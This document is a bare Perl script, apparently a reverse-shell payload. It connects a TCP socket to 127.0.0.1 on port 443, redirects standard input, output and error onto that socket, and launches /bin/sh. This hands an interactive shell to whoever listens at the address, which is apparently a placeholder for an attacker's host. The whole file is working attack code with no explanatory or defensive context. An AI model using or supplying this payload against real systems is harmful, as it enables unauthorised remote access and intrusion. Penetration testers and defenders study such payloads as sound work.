#!/usr/bin/perl
use Socket; 
use IO::Handle; 
use POSIX; 
$proto = getprotobyname('tcp'); 
socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto); 
$sin = sockaddr_in(443,inet_aton("127.0.0.1")); 
connect(Socket_Handle,$sin); 
dup2(Socket_Handle->fileno, 0); 
dup2(Socket_Handle->fileno, 1); dup2(Socket_Handle->fileno, 2); 
exec { "/bin/sh" } "";
